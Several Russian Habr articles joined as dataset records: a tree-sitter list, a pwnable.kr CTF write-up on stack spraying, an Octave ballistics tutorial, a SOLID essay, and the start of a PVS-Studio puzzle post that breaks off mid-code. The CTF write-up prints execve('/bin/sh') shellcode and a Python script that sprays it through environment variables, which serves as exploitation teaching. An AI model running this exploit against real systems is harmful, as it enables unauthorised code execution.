* [GLSL (OpenGL Shading Language)](https://github.com/theHamsta/tree-sitter-glsl)
* [Go](https://github.com/tree-sitter/tree-sitter-go)
* [HCL](https://github.com/MichaHoffmann/tree-sitter-hcl)
* [HTML](https://github.com/tree-sitter/tree-sitter-html)
* [Java](https://github.com/tree-sitter/tree-sitter-java)
* [JavaScript](https://github.com/tree-sitter/tree-sitter-javascript)
* [JSON](https://github.com/tree-sitter/tree-sitter-json)
* [Lua](https://github.com/Azganoth/tree-sitter-lua)
* [Make](https://github.com/alemuller/tree-sitter-make)
* [Markdown](https://github.com/ikatyang/tree-sitter-markdown)
* [OCaml](https://github.com/tree-sitter/tree-sitter-ocaml)
* [PHP](https://github.com/tree-sitter/tree-sitter-php)
* [Python](https://github.com/tree-sitter/tree-sitter-python)
* [Ruby](https://github.com/tree-sitter/tree-sitter-ruby)
* [Rust](https://github.com/tree-sitter/tree-sitter-rust)
* [R](https://github.com/r-lib/tree-sitter-r)
* [S-expressions](https://github.com/AbstractMachinesLab/tree-sitter-sexp)
* [SPARQL](https://github.com/BonaBeavis/tree-sitter-sparql)
* [SystemRDL](https://github.com/SystemRDL/tree-sitter-systemrdl)
* [Svelte](https://github.com/Himujjal/tree-sitter-svelte)
* [TOML](https://github.com/ikatyang/tree-sitter-toml)
* [Turtle](https://github.com/BonaBeavis/tree-sitter-turtle)
* [TypeScript](https://github.com/tree-sitter/tree-sitter-typescript)
* [Verilog](https://github.com/tree-sitter/tree-sitter-verilog)
* [VHDL](https://github.com/alemuller/tree-sitter-vhdl)
* [Vue](https://github.com/ikatyang/tree-sitter-vue)
* [YAML](https://github.com/ikatyang/tree-sitter-yaml)
* [WASM](https://github.com/wasm-lsp/tree-sitter-wasm)
* [WGSL WebGPU Shading Language](https://github.com/mehmetoguzderin/tree-sitter-wgsl)
В разработке:
* [Agda](https://github.com/tree-sitter/tree-sitter-agda)
* [Elixir](https://github.com/elixir-lang/tree-sitter-elixir)
* [Erlang](https://github.com/AbstractMachinesLab/tree-sitter-erlang/)
* [Dockerfile](https://github.com/camdencheek/tree-sitter-dockerfile)
* [Go mod](https://github.com/camdencheek/tree-sitter-go-mod)
* [Hack](https://github.com/slackhq/tree-sitter-hack)
* [Haskell](https://github.com/tree-sitter/tree-sitter-haskell)
* [Julia](https://github.com/tree-sitter/tree-sitter-julia)
* [Kotlin](https://github.com/fwcd/tree-sitter-kotlin)
* [Nix](https://github.com/cstrahan/tree-sitter-nix)
* [Objective-C](https://github.com/jiyee/tree-sitter-objc)
* [Org](https://github.com/milisims/tree-sitter-org)
* [Perl](https://github.com/ganezdragon/tree-sitter-perl)
* [Protocol Buffers](https://github.com/mitchellh/tree-sitter-proto)
* [Scala](https://github.com/tree-sitter/tree-sitter-scala)
* [Sourcepawn](https://github.com/nilshelmig/tree-sitter-sourcepawn)
* [Swift](https://github.com/tree-sitter/tree-sitter-swift)
* [SQL](https://github.com/m-novikov/tree-sitter-sql)
### Проекты
Список некоторых проектов использующих tree-sitter:
* [Atom](https://atom.io/) - текстовый редактор от GitHub, с которого и началась история использования tree-sitter.
* [GitHub](https://github.com/) использует для различных фич: подсветка некоторых языков, навигация по коду и т.д.
* [Anycode](https://github.com/microsoft/vscode-anycode) - расширение для VSCode от Microsoft для поддержки фичей Language Server в ситуациях, когда Language Server нет.
* [Neovim](https://neovim.io/) (экспериментально с версии 0.5) с помощью [nvim-treesitter](https://github.com/nvim-treesitter/nvim-treesitter).
* [Плагин](https://emacs-tree-sitter.github.io/) для Emacs.
* Ещё один [плагин](https://github.com/ethan-leba/tree-edit) для Emacs для стуктурного редактирования кода.
* [Diffsitter](https://github.com/afnanenayet/diffsitter) - difftool для AST.
* [Tree-grepper](https://github.com/BrianHicks/tree-grepper) - как grep, но для AST. Позволяет искать в исходных файлах с учетом синтаксической структуры.
* [Runestone](https://github.com/simonbs/Runestone) - текстовый редактор для iOS.
* [Zee](https://github.com/zee-editor/zee) - консольный текстовый редактор написаный на Rust.
* [Zed](https://zed.dev/) - ещё не вышедший текстовый редактор от создателя tree-sitter ориентированный на совместную разработку написанный на Rust.
* [Semantic](https://github.com/github/semantic) - Haskell-библиотека и консольная утилита для парсинга, анализа и сравнения исходного кода.
Полезные ссылки
---------------
* [Официальный сайт](https://tree-sitter.github.io/tree-sitter/) проекта
* Проект на [GitHub](https://github.com/tree-sitter/tree-sitter)
* Выступления Max Brunsfeld на [Strange Loop 2018](https://www.youtube.com/watch?v=Jes3bD6P0To), [FOSDEM 2018](https://www.youtube.com/watch?v=0CGzC_iss-8) и [GitHub Universe 2017](https://www.youtube.com/watch?v=a1rC79DHpmY)
* [A Comprehensive Introduction to Tree-sitter](https://derek.stride.host/posts/comprehensive-introduction-to-tree-sitter)
* [Introductory to Treesitter](https://teknologiumum.com/posts/introductory-to-treesitter)
* [How to write a linter using tree-sitter in an hour](https://siraben.dev/2022/03/22/tree-sitter-linter.html)
* [Static Analysis at GitHub by Timothy Clem and Patrick Thomson (PDF)](https://dl.acm.org/doi/pdf/10.1145/3487019.3487022)
* [EmacsConf 2021: Tree-edit: Structural editing for Java, Python, C, and beyond! - Ethan Leba](https://www.youtube.com/watch?v=FwDsuz0waIY) | https://habr.com/ru/post/670140/ | null | ru | null |
# Решение задания с pwnable.kr 27 — tiny_easy. Разбираемся с Stack spraying

В данной статье решим 27-е задание с сайта [pwnable.kr](https://pwnable.kr/index.php) и разберемся с тем, что же такое Stack spraying.
**Организационная информация**Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
* PWN;
* криптография (Crypto);
* cетевые технологии (Network);
* реверс (Reverse Engineering);
* стеганография (Stegano);
* поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Решение задания tiny\_easy
--------------------------
Нажимаем на иконку с подписью tyni\_easy. Нам дают адрес и порт для подключения по ssh.

Подключаемся по SSH и видим флаг и программу уже без исходного кода.

В результате проверки файла узнаем, что у него нет никакой защиты.

Загрузим программу в дизассемблер. Файл очень мал и выполняет всего несколько инструкций.

В самом начале программа извлекает из стека значение в регистр EAX, после чего извлекает еще одно в EDX и передает управление на этот адрес. Но что расположено в стеке в самом начале программы? В стеке в этот момент распологаюся те самые argc (число аргументов программы), argv(указатель на массив аргументов программы) и envp(указатель на массив перемен окружения).

Таким образом в EDX будет помещен адрес на первый элемент массива аргументов программы, то есть на полный путь к запускаемому файлу! Потому пытаясь выпонить его как код, приложение должно упасть. Если проверить, то так и выходит.

Stack spraying — это атака, использующая ошибки в работе с памятью приложения, которая заставляет приложение выделить память под большое количество объектов, содержащих вредоносный код. При этом повышается вероятность успеха эксплойта, который переносит поток исполнения на некоторую позицию внутри. Важно понимать, что без эксплойта, позволяющего изменять поток исполнения, данная атака не нанесет какого-либо вреда. Атака основана на предсказуемости адреса в адресном пространстве процесса.
При создании процесса в операционной системе под его нужды выделяется адресное пространство, в котором расположены пользовательские данные, исполняемый код и некоторая системная информация, которая зависит от конкретной операционной системы. Так, в сегменте стека хранятся переменные с автоматическим классом размещения, а также информация, которая сохраняется при каждом вызове функции, например, статические переменные и адрес возврата при вызове функции. В случае stack spraying мы оперируем переменными окружения, в которых и располагается эксплоит.
Таким образом мы можем расположить шеллкод в переменных окружения на стеке. Но перед ним сделаем много nop операций, так как врядли мы сможет точно попасть на нужный адрес.
```
import os
import subprocess
payload = "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
```
В так как программа запускается с адреса 0xff\*\*\*\*\*\*, то возьмем рандомный адрес для стека из этого окружения, к примеру 0xffbbbbbb.
```
addr = "\xb0\xaf\xb5\xff"
```
Теперь сделаем несколько переменных окружения с нашим шеллкодом, чтобы вероятнрсть попасть на него была выше.
```
envs = {}
for i in range(0,100):
envs["env"+str(i)] = payload
```
И несколько раз запускаем программу с нашими параметрами.
```
while True:
p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
p.wait()
```
После запуска полного кода получим шелл.

Дальше больше… Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/487620/ | null | ru | null |
# Моделирование динамических систем: задача внешней баллистики
Введение
========
Надеюсь что мы с вами набрались достаточно опыта, чтобы смоделировать что-нибудь более серьезное, чем полет камня. Предлагаю такую задачу
> Пушка, стреляющая сферическими ядрами сообщает им начальную скорость 400 м/с. Определить траекторию полета снаряда при стрельбе под углом в 35 градусов к горизонту. Поле силы тяжести считать однородным, кривизной Земли пренебречь.
>
>

Надо сказать, это пример некорректно поставленной задачи. Во-первых, не сказано учитываем мы, или не учитываем сопротивление воздуха. А если учитываем, то в задаче явно не хватает параметров. К сожалению такого рода постановка задач весьма распространенное явление. Поэтому мы решим задачу для обоих случаев, а нужные параметры введем в неё сами. Заодно научимся чему-то новому. Поехали!
1. Расчетная схема
==================
В прошлые разы я сознательно не рисовал никаких схем, чтобы потренировать ваше воображение. Несложно представить себе камень, падающий вертикально вниз. Сейчас задачка посложнее, и без чертежа нам не обойтись.

Подобные чертежи называют расчетной схемой — условным графическим изображением процесса или объекта, выполненным с учетом введенных в задачу допущений.
Обратите внимание, что на схеме нарисовано произвольное положение снаряда, то, в которое он попадет по истечении некоторого времени от начала движения. В задачах динамики так удобнее представить себе взаимное расположение векторов сил и правильно разложить их на осевые проекции. Единственное, что мы показали в начальном положении — вектор начальной скорости. Это пригодится при задании начальных условий.
2. Формализация задачи (без учета сопротивления среды)
======================================================
Все готово к составлению системы дифференциальных уравнений движения

Мы не учитываем сопротивления воздуха, и у нас всего одна сила: на ось x она проецируется в ноль, на ось y — в истинную величину с минусом. Ведь мы приняли допущение, что поле силы тяжести однородно а Земля плоская. Значит сила тяжести всегда постоянна и направлена вертикально вниз. Как видно, от массы тут ничего не зависит, масса сокращается в обоих уравнениях

Получилась система двух уравнений второго порядка. Нам нужно привести её к форме Коши. Помните что это? Если помните, попробуйте сделать это сами, не заглядывая под спойлер
**Ответ**Все просто, производные координат, это соответствующие проекции скорости

а проекции ускорения — производные от проекций скорости

Получаем систему уравнений в форме Коши

3. Скрипты Octave, или как заново не делать одну и ту же работу
===============================================================
В [прошлый раз](https://habrahabr.ru/post/349204/) мы вводили команды в прямо в консоли Octave. Хорошо задачка у нас была маленькая. А если большая? А если хочется поменять параметры? А если хочется вернуться к отложенной работе? А если… Короче говоря, хорошо иметь возможность сохранять свои программы на Octave. И таки тут нет ничего невозможного.
Внизу экрана, под командным окном есть вкладки: Command Window, Editor и Documentation. Вкладка Editor — то что нам нужно. Это редактор скриптов на m-языке. Откроем эту вкладку и введем в неё такой текст
```
%-------------------------------------------------------------------------------
%
% Баллистическая задача без учета сопротивления среды
% система ОДУ движения
%
%-------------------------------------------------------------------------------
function dYdt = f(Y, t)
g = 9.81; % Ускорение свободного падения
dYdt(1) = Y(3); % dx/dt = vx
dYdt(2) = Y(4); % dy/dt = vy
dYdt(3) = 0; % dvx/dt = 0
dYdt(4) = -g; % dvy/dt = -g
endfunction
```
Это ничто иное, как правая часть системы дифференциальных уравнений движения снаряда, в нашей задаче, оформленная в виде функции на m-языке. Смысл тот же самый что и прошлый раз. Только теперь уравнений у нас аж четыре. Ну и ускорение свободного падения берем уже нормальной, взрослой величины. Сохраним этот файл на диске под именем f.m
**Внимание!** Каждая функция на m-языке требует сохранения в собственный файл, имя которого совпадает с именем функции. В нашем случае функция имеет имя f, значит и файл имеет имя f.
**Для тех, кто использует Windows**В нормальных операционных системах файловая система отличает буквы верхнего и нижнего регистров. Windows же до сих пор этому не научилась, по крайней мере в командной строке. Поэтому функциям лучше давать имена в нижнем регистре.
Что за строки, начинающиеся с "%"? А это, братья-апачи, комментарии! Текст, предваренный этим символом в Octave игнорируется интерпретатором. Комментариями не только можно, но и нужно снабжать свои программы, чтобы хотя бы самому в них ориентироваться, не говоря уже о других людях, желающих воспользоваться вашей программой.
Итак, мы задали октаве систему уравнений. Создадим новый файл, назовем его, например, ballistics.m и сохраним там же, где и сохранили предыдущий файл. Начнем решать задачу!
```
%-------------------------------------------------------------------------------
% Параметры стрельбы
%-------------------------------------------------------------------------------
% начальная скорость снаряда
v0 = 400;
% угол наклона ствола пушки к горизонту
alpha = 35 * pi / 180;
%-------------------------------------------------------------------------------
% Начальные условия
%-------------------------------------------------------------------------------
x0 = 0;
y0 = 0;
vx0 = v0 * cos(alpha);
vy0 = v0 * sin(alpha);
Y0 = [x0; y0; vx0; vy0];
%-------------------------------------------------------------------------------
% Параметры временного интервала
%-------------------------------------------------------------------------------
% начальный момент времени
t0 = 0;
% конечный момент времени
tend = 10.0;
% шаг выдачи решения
deltaT = 0.1;
% Массив интересующих нас моментов времени
t = [t0:deltaT:tend];
% Интрегрируем систему уравнений движения
Y = lsode("f", Y0, t);
% Рисуем траекторию полета снаряда
plot(Y(:,1), Y(:,2));
```
Смысл большинства операций понятен из комментариев. Отдельно поясню начальные условия. У нас четыре фазовых координаты: две декартовы координаты снаряда, две проекции его скорости на оси координат

Для каждой из фазовых координат нужно задать их начальное значение. Логично задать начальное положение в начале координат. Что качается двух других переменных, то это, внимание, **начальные величины проекций вектора скорости на оси x и y**. Затем я и нарисовал вектор начальной скорости, чтобы легко было найти его проекции на оси

Теперь всё готово. Жмем на кнопку с шестерней и желтым треугольником, чтобы запустить скрипт. В ответ система выдаст окошко

попросит нас добавить путь, по которому лежит скрипт в пути поиска скриптов. Это нужно сделать один раз после загрузки скрипта в редактор или создании нового скрипта. Жмем кнопку «Add...» и получаем результат

Выглядит многообещающе. Время 10 секунд мало, чтобы наряд приземлился. Меняем значение tend и запускаем скрипт снова, пока не получим похожую картинку

соответствующую tend = 47 секунд. Симуляция закончилась, снаряд пролетел ниже оси x, но это нормально, ведь мы никак не моделируем его встречу с поверхностью.
4. Формализация задачи (с учетом сопротивления среды)
=====================================================
Шар в качестве формы снаряда мы выбрали не случайно. Как его не верти, со всех сторон у него одинаковое сечение — круг (кстати, то той же причина КК «Восток» имел шарообразную форму спускаемого аппарата). А значит, как ни направляй поток воздуха, при обтекании сила сопротивления движению будет одинакова и равна

где cf = 0.47 — коэффициент лобового сопротивления формы; S — площадь поперечного сечения;  = 1.29 кг/м3 — плотность воздуха; v — скорость набегающего потока, в нашем случае скорость снаряда.
Вектор силы сопротивления всегда будет направлен против вектора скорости. Поэтому перерисуем расчетную схему

Как учесть тот факт, что для любого момента времени вектор  направлен против скорости? Очень просто. Мы знаем, что вектор скорости направлен по касательной к траектории. Введем вектор  с длинной равной 1 и направленные туда же, куда направлена скорость. Тогда вектор  можно выразить через вектор  и модуль силы сопротивления

А как найти вектор ? Очень просто, его проекции на оси координат будут равны

Модуль вектора скорости легко выражается через его проекции

Тогда проекции вектора силы сопротивления воздуха на оси координат легко посчитать

И это меняет уравнения движения

Это что же выходит, массу теперь не сократить? Да, теперь динамика полета снаряда будет зависеть от массы. Но на массу никто не запрещает делить, делим на неё оба уравнения

где

коэффициент, определяющий вклад силы сопротивления в ускорение снаряда. Его можно сильно упростить, если вспомнить, что снаряд — шар

Первая формула — масса шара, и тут  — плотность материала, из которого сделано ядро, а r — радиус ядра. Вторая формула — площадь поперечного сечения шара. Подставим эти формулы в выражение для коэффициента и упростим

где d — диаметр ядра, калибр нашей пушки. Из этой формулы уже видно, что чем больше будет калибр и плотнее материал снаряда, тем меньше будет влияние силы сопротивления воздуха.
Зададимся значениями параметров снаряда. Добавим в конец файла ballistics.m следующие строки
```
%-------------------------------------------------------------------------------
% Параметры снаряда
%-------------------------------------------------------------------------------
% плотность материала снаряда
global gamma = 7800;
% коэффициент сопростивления формы (для шара)
global c_f = 0.47;
% калибр
global d = 0.1;
```
Пускай ядро будет чугунным калибра 100 мм. Что за слово такое, global перед каждой из переменных. Таким образом мы говорим системе, что созданные переменные будут доступны для всех скриптов и определенных в них функций, то есть будут глобальными.
Остается записать для Octave построенную нами модель в виде функции, пусть это будет функция f\_air. Естественно, для неё нужно создать отдельный файл f\_air.m. Попробуйте провернуть это самостоятельно. Дам подсказку: начале тела этой функции следует определить ещё раз наши глобальные параметры снаряда, но уже без значений. Это необходимо, чтобы функция видела глобальные переменные
```
global c_f;
global gamma;
global d;
```
Если будут совсем трудно, загляните под спойлер.
**Приведение к форме Коши и функция f\_air**С приведением к форме Коши всё просто. Вот исходная система уравнений

Первые производные координат есть проекции скорости

Соответственно

что дает систему уравнений

```
function dYdt = f_air(Y, t)
global c_f;
global gamma;
global d;
% Ускорение свободного падения
g = 9.81;
% Плотность воздуха
rho = 1.29;
% Коэффициент сопротивления снаряда
k = 3 * c_f * rho / 4 / gamma / d;
% Модуль скорости снаряда
v = sqrt(Y(3) * Y(3) + Y(4) * Y(4));
% Система уравнений движения
dYdt(1) = Y(3);
dYdt(2) = Y(4);
dYdt(3) = - k * v * Y(3);
dYdt(4) = - k * v* Y(4) - g;
endfunction
```
Теперь решаем систему уравнений движения, в файле ballistics.m даем команды
```
Y_air = lsode("f_air", Y0, t);
plot(Y_air(:,1), Y_air(:,2));
```
то есть интегрируем новые уравнения движения с теми же начальными условиями и на том же временном интервале, что и для задачи без учета сопротивления воздуха, а так же рисуем график траектории

Ого, максимальная высота полета уменьшилась весьма существенно. И 47 секунд теперь слишком большой диапазон, снаряд падает на землю намного раньше. Поиграем со временем

При tend = 26 секунды видим, что и дальность полета весьма значительно. Видно, что аэродинамическое сопротивление очень существенно влияет на характеристики нашего орудия и в реальности пренебрегать им нельзя. Меняется и форма траектории: она более полога на восходящем участке, и круто идет вниз на нисходящем, мало напоминая идеальную параболу.
5. Сравнение траекторий снаряда
===============================
Мы уже видим, что результаты моделирования полета ядра различаются между собой. Но всё познается в наглядном сравнении. Построим две траектории одновременно. Можно? Да проще простого
```
% Строим обе траектории
plot(Y_air(:,1), Y_air(:,2), Y(:,1), Y(:,2));
```
Сначала мы указали абсциссу и ординату для одной траектории, потом для другой. Что получилось?

Эмм, это какой-то бред. Правильно, время полета снаряда в разных решениях разное. Столкновение ядра с поверхностью мы не моделируем. Из этой ситуации можно выкрутится, задав пределы изменения координат по осям командной axis(), вот так
```
% Задаем пределы отображения графиков по осям координат
xmin = 0;
xmax = 16000;
ymin = 0;
ymax = 3000;
axis([xmin xmax ymin ymax], "manual");
```
Теперь графики будут выглядеть так

Уже лучше. По крайней мере траектории можно сравнить между собой. А если нам хочется, чтобы по всем осям графика был одинаковый масштаб? Гугление дало такую команду
```
set(gca,'dataaspectratio',[1 1 1]);
```
определяющий одинаковый масштаб осей графика по всем осям координат

Под спойлером полный текст файла ballistics.m
**ballistics.m**
```
%-------------------------------------------------------------------------------
% Параметры стрельбы
%-------------------------------------------------------------------------------
% начальная скорость снаряда
v0 = 400;
% угол наклона ствола пушки к горизонту
alpha = 35 * pi / 180;
%-------------------------------------------------------------------------------
% Начальные условия
%-------------------------------------------------------------------------------
x0 = 0;
y0 = 0;
vx0 = v0 * cos(alpha);
vy0 = v0 * sin(alpha);
Y0 = [x0; y0; vx0; vy0];
%-------------------------------------------------------------------------------
% Параметры временного интервала
%-------------------------------------------------------------------------------
% начальный момент времени
t0 = 0;
% конечный момент времени
tend = 47.0;
% шаг выдачи решения
deltaT = 0.1;
% Массив интересующих нас моментов времени
t = [t0:deltaT:tend];
% Интрегрируем систему уравнений движения
Y = lsode("f", Y0, t);
%-------------------------------------------------------------------------------
% Параметры снаряда
%-------------------------------------------------------------------------------
% плотность материала снаряда
global gamma = 7800;
% коэффициент сопростивления формы (для шара)
global c_f = 0.47;
% калибр
global d = 0.1;
% Интегрируем систему уравнений движения
Y_air = lsode("f_air", Y0, t);
% Строим обе траектории
plot(Y_air(:,1), Y_air(:,2), Y(:,1), Y(:,2));
% Задаем пределы отображения графиков по осям координт
xmin = 0;
xmax = 16000;
ymin = 0;
ymax = 3000;
axis([xmin xmax ymin ymax]);
% Задаем масштаб по осям
set(gca,'dataaspectratio',[1 1 1]);
```
Заключение
==========
В рассмотренном нами примере мы столкнулись с фундаментальным свойством законов природы — они нелинейны. Если учитывать сопротивление воздуха, то правые в части дифференциальных уравнений фазовые координаты входят нелинейно. Аналитического решения, то есть выраженного в элементарных функциях задача не имеет. Наличие аналитического решения для реальных задач техники скорее исключение. И без моделирования при их решении уже никак не обойтись.
Но само по себе решение уравнений движения на практике имеет мало смысла. Что нам дало это решение? Да, мы увидели влияние силы сопротивления воздуха на полет пушечного ядра. Но мы, например, не ответили на многие вопросы, например, какова точная дальность стрельбы нашей пушки? Какова максимальная высота подъема снаряда? Под каким углом надо стрелять, чтобы достичь максимальной дальности?
Математические модели создают для того, чтобы решать с помощью них практические задачи техники. Вот об этом мы и поговорим в следующий раз.
P.S.: Проекты примеров теперь будут [доступны на Github](https://github.com/maisvendoo/DynamicsSim) | https://habr.com/ru/post/349262/ | null | ru | null |
# SOLID
> SOLID критикует тот, кто думает, что действительно понимает ООП
>
> © Куряшкин Виктор
Я знаком с принципами SOLID уже 6 лет, но только в последний год осознал, что они означают. В этой статье я дам простое объяснение этим принципам. Расскажу о минимальных требованиях к языку программирования для их реализации. Дам ссылки на материалы, которые помогли мне разобраться.
Первоисточники
--------------
Придумал принципы SOLID Роберт Мартин (Uncle Bob). Естественно, что в своих работах он освещает эту тему.
Книга “Принципы, паттерны и методики гибкой разработки на языке C#” 2011 года. Большинство статей, которые я видел, основываются именно на этой книге. К сожалению, она дает расплывчатое описание принципов, что сильно ударило по их популярности.
Видео сайта [cleancoders.com](https://cleancoders.com/videos/clean-code/solid-principles). Дядюшка Боб в шутливой форме на пальцах рассказывает, что же именно означают принципы и как их применять.
Книга “Clean Architecture” 2017 года. Описывает архитектуру, построенную из кирпичиков, удовлетворяющих SOLID принципам. Дает определение структурному, объектно-ориентированному, функциональному программированию. Содержит лучшее описание SOLID принципов, которое я когда-либо видел.
Требования
----------
SOLID всегда упоминают в контексте ООП. Так получилось, что именно в ООП языках появилась удобная и безопасная поддержка динамического полиморфизма. Фактически, в контексте SOLID под ООП понимается именно динамический полиморфизм.
Полиморфизм дает возможность для разных типов использовать один код.
Полиморфизм можно грубо разделить на динамический и статический.
* Динамический полиморфизм — это про абстрактные классы, интерфейсы, утиную типизацию, т.е. только в рантайме будет понятно, с каким типом будет работать наш код.
* Статический полиморфизм — это в основном про шаблоны (genererics). Когда уже на этапе компиляции из одного шаблонного кода генерируется код специфичный для каждого используемого типа.
Кроме привычных языков вроде Java, C#, Ruby, JavaScript, динамический полиморфизм реализован, например в
* Golang, с помощью интерфейсов
* Clojure, с помощью протоколов и мультиметодов
* в прочих, совсем не “ООП” языках
Принципы
--------
SOLID принципы советуют, как проектировать модули, т.е. кирпичики, из которых строится приложение. Цель принципов — проектировать модули, которые:
* способствуют изменениям
* легко понимаемы
* повторно используемы
SRP: The Single Responsibility Principle
----------------------------------------
*A module should be responsible to one, and only one, actor.*
Старая формулировка: *A module should have one, and only one, reason to change*.
Часто ее трактовали следующим образом: *Модуль должен иметь только одну обязанность*. И это главное заблуждение при знакомстве с принципами. Все несколько хитрее.
На каждом проекте люди играют разные роли (actor): Аналитик, Проектировщик интерфейсов, Администратор баз данных. Естественно, один человек может играть сразу несколько ролей. В этом принципе речь идет о том, что изменения в модуле может запрашивать одна и только одна роль. Например, есть модуль, реализующий некую бизнес-логику, запросить изменения в этом модуле может только Аналитик, но никак не DBA или UX.
OCP: The Open Closed Principle
------------------------------
*A software artifact should be open for extension but closed for modification.*
Старая формулировка: *You should be able to extend a classes behavior, without modifying it*.
Это определенно может ввести в ступор. Как можно расширить поведение класса без его модификации? В текущей формулировке Роберт Мартин оперирует понятием артефакт, т.е. jar, dll, gem, npm package. Чтобы расширить поведение, нужно воспользоваться динамическим полиморфизмом.
Например, наше приложение должно отправлять уведомления. Используя dependency inversion, наш модуль объявляет только интерфейс отправки уведомлений, но не реализацию. Таким образом, логика нашего приложения содержится в одном dll файле, а класс отправки уведомлений, реализующий интерфейс — в другом. Таким образом, мы можем без изменения (перекомпиляции) модуля с логикой использовать различные способы отправки уведомлений.
Этот принцип тесно связан с LSP и DIP, которые мы рассмотрим далее.
LSP: The Liskov Substitution Principle
--------------------------------------
Имеет сложное математическое определение, которое можно заменить на: *Функции, которые используют базовый тип, должны иметь возможность использовать подтипы базового типа, не зная об этом*.
Классический пример нарушения. Есть базовый класс Stack, реализующий следующий интерфейс: length, push, pop. И есть потомок DoubleStack, который дублирует добавляемые элементы. Естественно, класс DoubleStack нельзя использовать вместо Stack.
У этого принципа есть забавное следствие: *Объекты, моделирующие сущности, не обязаны реализовывать отношения этих сущностей*. Например, у нас есть целые и вещественные числа, причем целые числа — подмножество вещественных. Однако, double состоит из двух int: мантисы и экспоненты. Если бы int наследовал от double, то получилась бы забавная картина: родитель содержит 2-х своих детей.
В качестве второго примера можно привести Generics. Допустим, есть базовый класс `Shape` и его потомки `Circle` и `Rectangle`. И есть некая функция `Foo(List list)`. Мы считаем, что `List` можно привести к `List`. Однако, это не так. Допустим, это приведение возможно, но тогда в `list` можно добавить любую фигуру, например `rectangle`. А изначально `list` должен содержать только объекты класса `Circle`.
ISP: The Interface Segregation Principle
----------------------------------------
*Make fine grained interfaces that are client specific.*
Под интерфейсом здесь понимается именно Java, C# интерфейс. Разделение интерфейса облегчает использование и тестирование модулей.
DIP: The Dependency Inversion Principle
---------------------------------------
*Depend on abstractions, not on concretions.*
* Модули верхних уровней не должны зависеть от модулей нижних уровней. Оба типа модулей должны зависеть от абстракций.
* Абстракции не должны зависеть от деталей. Детали должны зависеть от абстракций.
Что такое модули верхних уровней? Как определить этот уровень? Как оказалось, все очень просто. Чем ближе модуль к вводу/выводу, тем ниже уровень модуля. Т.е. модули, работающие с BD, интерфейсом пользователя, низкого уровня. А модули, реализующие бизнес-логику — высокого уровня.
Что такое зависимость модулей? Это ссылка на модуль в исходном коде, т.е. import, require и т.п. С помощью динамического полиморфизма в runtime можно обратить эту зависимость.
Есть модуль Logic, реализующий логику, который должен отсылать уведомления. В этом же пакете объявляется интерфейс ISender, который используется Logic. Уровнем ниже, в другом пакете объявляется ConcreteSender, реализующий ISender. Получается, что в момент компиляции Logic не зависит от ConcreteSender. В runtime, например, через конструктор в Logic устанавливается экземпляр ConcreteSender.
Отдельно стоит отметить частый вопрос *“Зачем плодить абстракции, если мы не собираемся заменять базу данных?”*.
Логика тут следующая. На старте проекта, мы знаем, что будем использовать реляционную базу данных, и это точно будет Postgresql, а для поиска — ElasticSearch. Мы даже не планируем их менять в будущем. Но мы хотим отложить принятие решений о том, какая будет схема таблиц, какие будут индексы, и т.п. до момента, пока это не станет проблемой. И на этот момент мы будем обладать достаточной информацией, чтобы принять правильное решение. Также мы можем раньше отладить логику нашего приложения, реализовать интерфейс, собрать обратную связь от заказчика, и минимизировать последующие изменения, ведь многое реализовано только в виде заглушек.
Принципы SOLID подходят для проектов, разрабатываемых по гибким методологиям, ведь Роберт Мартин — один из авторов Agile Manifesto.
Принципы SOLID стремятся свести изменение модулей к их добавлению и удалению.
Принципы SOLID способствуют откладыванию принятия технических решений и разделению труда программистов. | https://habr.com/ru/post/348286/ | null | ru | null |
# Ответы на задачи со стенда PVS-Studio на конференциях 2018-2019

Привет! Несмотря на то, что сезон конференций 2019 года ещё в самом разгаре, мы бы хотели обсудить задачи, которые ранее предлагали посетителям нашего стенда. Осень 2019 года мы начали с новым набором задач, поэтому уже можно обнародовать решение старых задачек за 2018 год, а также первую половину 2019. Тем более, многие из них были взяты из ранее опубликованных статей, а листовки с задачами содержали ссылку или QR-код с информацией о статье.
Если вы бывали на конференциях, где мы стояли со стендом, то наверняка видели или даже решали какие-то из наших задач. Это всегда фрагменты кода из реальных открытых проектов на языках программирования C, C++, C# или Java. В коде содержатся ошибки, которые мы предлагаем поискать посетителям. За решение (или просто обсуждение ошибки) мы выдаем призы — статусы на рабочий стол, брелоки и т.п.:

Хотите такие же? Приходите на наш стенд на следующих конференциях.
Кстати, в статьях "[Время конференций! Подводим итоги 2018 года](https://www.viva64.com/ru/b/0608/)" и "[Конференции. Промежуточные итоги по первому полугодию 2019](https://www.viva64.com/ru/b/0648/)" содержится описание нашей активности на конференциях в этом и прошлом году.
Итак, начнём игру «Найди ошибку в коде». Сначала рассмотрим более старые задачки за 2018 год, будем использовать группировку по языкам программирования.
2018
----
### С++
**Chromium bug**
```
static const int kDaysInMonth[13] = {
0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31
};
bool ValidateDateTime(const DateTime& time) {
if (time.year < 1 || time.year > 9999 ||
time.month < 1 || time.month > 12 ||
time.day < 1 || time.day > 31 ||
time.hour < 0 || time.hour > 23 ||
time.minute < 0 || time.minute > 59 ||
time.second < 0 || time.second > 59) {
return false;
}
if (time.month == 2 && IsLeapYear(time.year)) {
return time.month <= kDaysInMonth[time.month] + 1;
